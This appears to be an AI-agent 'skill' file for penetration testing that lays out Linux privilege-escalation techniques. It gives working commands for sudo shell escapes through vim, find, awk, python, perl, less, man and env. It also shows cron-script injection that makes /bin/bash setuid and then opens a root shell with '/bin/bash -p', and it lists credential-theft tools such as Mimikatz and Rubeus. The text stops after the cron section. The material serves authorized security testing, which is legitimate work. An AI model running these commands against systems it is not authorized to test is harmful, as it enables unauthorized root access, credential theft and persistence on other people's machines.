privilege-escalation-methods

name	privilege-escalation-methods
description	Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
type	skill
created	2026-02-27T00:00:00.000Z
domain	security
category	pentesting
risk	unknown
source	community
tags	["skill","security","pentesting","privilege","escalation","methods"]

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

• Initial low-privilege shell access on target system
• Kali Linux or penetration testing distribution
• Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
• Understanding of Windows/Linux privilege models
• For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

• Root or Administrator shell access
• Extracted credentials and hashes
• Persistent access mechanisms
• Domain compromise (for AD environments)

---

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh


/bin/bash -p